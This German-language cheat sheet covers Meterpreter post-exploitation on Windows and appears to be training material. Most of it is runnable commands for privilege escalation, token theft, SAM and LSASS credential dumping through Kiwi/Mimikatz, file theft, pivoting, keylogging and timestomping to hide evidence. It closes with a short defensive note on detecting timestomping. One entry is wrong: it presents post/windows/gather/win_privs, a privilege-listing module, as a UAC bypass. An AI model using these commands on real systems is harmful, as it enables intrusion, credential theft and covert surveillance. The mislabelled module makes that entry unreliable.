Meterpreter unter Windows
Grundsätzliches
Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im Speicher des kompromittierten Prozesses und stellt einen einheitlichen Befehlssatz zur Verfügung. Die Windows-Variante bietet deutlich mehr Kommandos als die Linux-Version - vor allem alles rund um Prozess-Tokens, UAC-Bypass, die SAM-Datenbank, Zeitstempel-Manipulation und die Kiwi/Mimikatz-Erweiterung.
Hinweis: Der Befehl help zeigt in der laufenden Session, welche
Kommandos der konkrete Payload tatsächlich unterstützt. Erweiterungen wie Kiwi müssen
erst mit load nachgeladen werden.
Session-Verwaltung
- Session in den Hintergrund legen, zurück zur msf-Konsole
- background
- Vorhandene Sessions anzeigen
- sessions -l
- Session wieder aufnehmen
- sessions -i ID
- Kontextbezogene Befehlsliste anzeigen
- help
System und Recon
- Betriebssystem, Architektur, Hostname
- sysinfo
- Unter welchem Benutzer läuft die Session
- getuid
- Eigene Prozess-ID
- getpid
- Prozessliste – Spalte User zeigt, welche Prozesse als SYSTEM laufen
- ps
- In eine normale System-Shell wechseln (cmd.exe)
- shell
Rechteausweitung
Die Rechteausweitung ist auf Windows der zentrale Zwischenschritt: Ohne NT AUTHORITY\SYSTEM lassen sich weder die SAM-Datenbank noch der LSASS-Prozess auslesen.
- Bekannte lokale Privilege-Escalation-Techniken durchprobieren
- getsystem
- Neue Identität überprüfen – sollte NT AUTHORITY\SYSTEM zeigen
- getuid
- UAC umgehen, falls getsystem an fehlender Elevation scheitert
- run post/windows/gather/win_privs
- In einen als SYSTEM laufenden Prozess wechseln (PID aus ps)
- migrate 248
- Token eines anderen Prozesses stehlen
- steal_token 1784
Zugangsdaten auslesen
- Passwort-Hashes aus der SAM-Datenbank (erfordert SYSTEM)
- hashdump
- Alternative als Post-Modul, robuster auf neueren Systemen
- run post/windows/gather/hashdump
- Kiwi/Mimikatz-Erweiterung nachladen
- load kiwi
- Alle im Speicher gefundenen Zugangsdaten (LSASS, erfordert SYSTEM)
- creds_all
- Nur Kerberos-Tickets
- creds_kerberos
- Klartext-Passwörter aus dem WDigest-Provider
- creds_wdigest
Dateisystem
- Verzeichnis anzeigen und wechseln
- pwd
- ls
- cd C:\\Users
- Datei vom Ziel herunterladen
- download C:\\Users\\Administrator\\Desktop\\daten.xlsx C:\\loot\\
- Datei auf das Ziel hochladen
- upload werkzeug.exe C:\\Windows\\Temp\\
- Dateien suchen
- search -f *.kdbx
Netzwerk und Pivoting
- Netzwerk-Interfaces anzeigen
- ipconfig
- Aktive Verbindungen
- netstat
- Routing-Tabelle
- route
- Lokales Port-Forwarding einrichten
- portfwd add -l 3389 -p 3389 -r 10.254.31.50
- Route über die Session für weitere Module setzen
- run autoroute -s 10.254.31.0/24
Persistenz und Anti-Forensik
- Zeitstempel einer Datei manipulieren (Timestomping)
- timestomp C:\\Windows\\Temp\\payload.exe -m "01/01/2020 10:00:00"
- Zeitstempel einer Referenzdatei übernehmen
- timestomp C:\\payload.exe -f C:\\Windows\\notepad.exe
- Keylogger im aktuellen Prozess starten
- keyscan_start
- Screenshot der aktiven Sitzung
- screenshot
Unterschiede zur Linux-Variante
Die folgenden Kommandos existieren nur unter Windows, weil sie an Windows-Mechanismen gebunden sind:
getsystem/steal_token– Token-basierte Rechteausweitunghashdump– SAM-Datenbank (unter Linux:/etc/shadowper Post-Modul)load kiwi/creds_all– LSASS-Credential-Dumpingtimestomp– Zeitstempel-Manipulation (unter Linux:touch -d)keyscan_start/screenshot– GUI-nahe Funktionen
Bezug zum Forensik-Szenario
timestomp ist der direkte Gegenspieler zur Timeline-Analyse mit dem
Sleuth Kit: Ein Angreifer setzt damit die MACB-Zeitstempel zurück, um die eigene
Tatzeit zu verschleiern. Für die Verteidigung ist wichtig, dass Timestomping nur die
Zeitstempel im Standard-Attribut ($STANDARD_INFORMATION) verändert, während NTFS die
Originalwerte im $FILE_NAME-Attribut behält – ein aufmerksamer Ermittler erkennt die
Manipulation an der Diskrepanz zwischen beiden.